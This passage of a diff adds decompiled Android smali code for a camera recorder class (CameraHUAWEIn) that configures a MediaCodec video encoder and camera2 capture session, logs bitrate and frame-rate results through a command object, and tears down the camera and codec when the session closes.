iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->format:Landroid/media/MediaFormat;
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
aget-object v3, v3, v5
|
||||
|
||||
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v3
|
||||
|
||||
invoke-virtual {p1, v1, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 174
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->format:Landroid/media/MediaFormat;
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget v3, v3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->FPS:I
|
||||
|
||||
invoke-virtual {p1, v0, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 175
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->format:Landroid/media/MediaFormat;
|
||||
|
||||
const-string v3, "i-frame-interval"
|
||||
|
||||
invoke-virtual {p1, v3, v8}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 177
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v3, "result=BitRate:%s"
|
||||
|
||||
new-array v6, v8, [Ljava/lang/Object;
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraHUAWEIn;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
aget-object v7, v7, v5
|
||||
|
||||
aput-object v7, v6, v5
|
||||
|
||||
invoke-static {v3, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
invoke-virtual {p1, v3}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 178
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v3, "result=BitRate:%d"
|
||||
|
||||
new-array v6, v8, [Ljava/lang/Object;
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraHUAWEIn;->format:Landroid/media/MediaFormat;
|
||||
|
||||
invoke-virtual {v7, v1}, Landroid/media/MediaFormat;->getInteger(Ljava/lang/String;)I
|
||||
|
||||
move-result v1
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
aput-object v1, v6, v5
|
||||
|
||||
invoke-static {v3, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v1}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 179
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v1, "result=FrameRate:%d"
|
||||
|
||||
new-array v3, v8, [Ljava/lang/Object;
|
||||
|
||||
iget-object v6, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v6, v6, Lcom/nvav/srv/recorder/CameraHUAWEIn;->format:Landroid/media/MediaFormat;
|
||||
|
||||
invoke-virtual {v6, v0}, Landroid/media/MediaFormat;->getInteger(Ljava/lang/String;)I
|
||||
|
||||
move-result v0
|
||||
|
||||
invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
aput-object v0, v3, v5
|
||||
|
||||
invoke-static {v1, v3}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 180
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-static {v2}, Landroid/media/MediaCodec;->createEncoderByType(Ljava/lang/String;)Landroid/media/MediaCodec;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
.line 181
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->format:Landroid/media/MediaFormat;
|
||||
|
||||
invoke-virtual {p1, v0, v4, v4, v8}, Landroid/media/MediaCodec;->configure(Landroid/media/MediaFormat;Landroid/view/Surface;Landroid/media/MediaCrypto;I)V
|
||||
|
||||
.line 182
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$200(Lcom/nvav/srv/recorder/CameraHUAWEIn;)Landroid/media/MediaCodec$Callback;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {p1, v0}, Landroid/media/MediaCodec;->setCallback(Landroid/media/MediaCodec$Callback;)V
|
||||
|
||||
.line 183
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {v0}, Landroid/media/MediaCodec;->createInputSurface()Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-static {p1, v0}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$302(Lcom/nvav/srv/recorder/CameraHUAWEIn;Landroid/view/Surface;)Landroid/view/Surface;
|
||||
|
||||
.line 184
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
new-instance v0, Ljava/util/ArrayList;
|
||||
|
||||
invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
.line 185
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$300(Lcom/nvav/srv/recorder/CameraHUAWEIn;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-interface {p1, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
|
||||
|
||||
.line 186
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->sessionListener:Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
|
||||
|
||||
invoke-virtual {p1, v0, v1, v4}, Landroid/hardware/camera2/CameraDevice;->createCaptureSession(Ljava/util/List;Landroid/hardware/camera2/CameraCaptureSession$StateCallback;Landroid/os/Handler;)V
|
||||
|
||||
.line 187
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p1}, Landroid/media/MediaCodec;->start()V
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_1
|
||||
|
||||
:catch_0
|
||||
move-exception p1
|
||||
|
||||
.line 189
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:goto_1
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,899 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraHUAWEIn$3;
|
||||
.super Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
|
||||
.source "CameraHUAWEIn.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraHUAWEIn;)V
|
||||
.locals 0
|
||||
|
||||
.line 214
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$StateCallback;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onActive(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 2
|
||||
|
||||
.line 243
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v0, "result=Session active."
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 244
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v0
|
||||
|
||||
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
filled-new-array {p1}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "time %d"
|
||||
|
||||
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "CameraCaptureSession ac"
|
||||
|
||||
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onClosed(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 2
|
||||
|
||||
.line 248
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string v0, "result=Session closed."
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
.line 250
|
||||
:try_start_0
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->SCALER_CROP_REGION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Landroid/graphics/Rect;
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->rect:Landroid/graphics/Rect;
|
||||
|
||||
.line 251
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_EXPOSURE_COMPENSATION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v0
|
||||
|
||||
iput v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->aec:I
|
||||
|
||||
.line 252
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_EFFECT_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v0
|
||||
|
||||
iput v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->cem:I
|
||||
|
||||
.line 253
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_REGIONS:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, [Landroid/hardware/camera2/params/MeteringRectangle;
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->cafr:[Landroid/hardware/camera2/params/MeteringRectangle;
|
||||
|
||||
.line 254
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v0
|
||||
|
||||
iput v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->cafm:I
|
||||
|
||||
.line 255
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_TRIGGER:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v0
|
||||
|
||||
iput v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->caft:I
|
||||
|
||||
.line 256
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Ljava/lang/Float;
|
||||
|
||||
invoke-virtual {v0}, Ljava/lang/Float;->floatValue()F
|
||||
|
||||
move-result v0
|
||||
|
||||
iput v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->lfd:F
|
||||
|
||||
.line 257
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v0
|
||||
|
||||
iput v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->caem:I
|
||||
|
||||
.line 258
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v0
|
||||
|
||||
iput v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->ss:I
|
||||
|
||||
.line 259
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Ljava/lang/Long;
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->sfd:Ljava/lang/Long;
|
||||
|
||||
.line 260
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Ljava/lang/Long;
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->set:Ljava/lang/Long;
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_0
|
||||
|
||||
:catch_0
|
||||
move-exception p1
|
||||
|
||||
.line 262
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 265
|
||||
:goto_0
|
||||
:try_start_1
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
invoke-virtual {p1}, Landroid/hardware/camera2/CameraDevice;->close()V
|
||||
:try_end_1
|
||||
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_1
|
||||
|
||||
goto :goto_1
|
||||
|
||||
:catch_1
|
||||
move-exception p1
|
||||
|
||||
.line 267
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 270
|
||||
:goto_1
|
||||
:try_start_2
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
if-eqz p1, :cond_0
|
||||
|
||||
.line 271
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p1}, Landroid/media/MediaCodec;->stop()V
|
||||
|
||||
.line 272
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p1}, Landroid/media/MediaCodec;->release()V
|
||||
:try_end_2
|
||||
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_2
|
||||
|
||||
goto :goto_2
|
||||
|
||||
:catch_2
|
||||
move-exception p1
|
||||
|
||||
.line 275
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
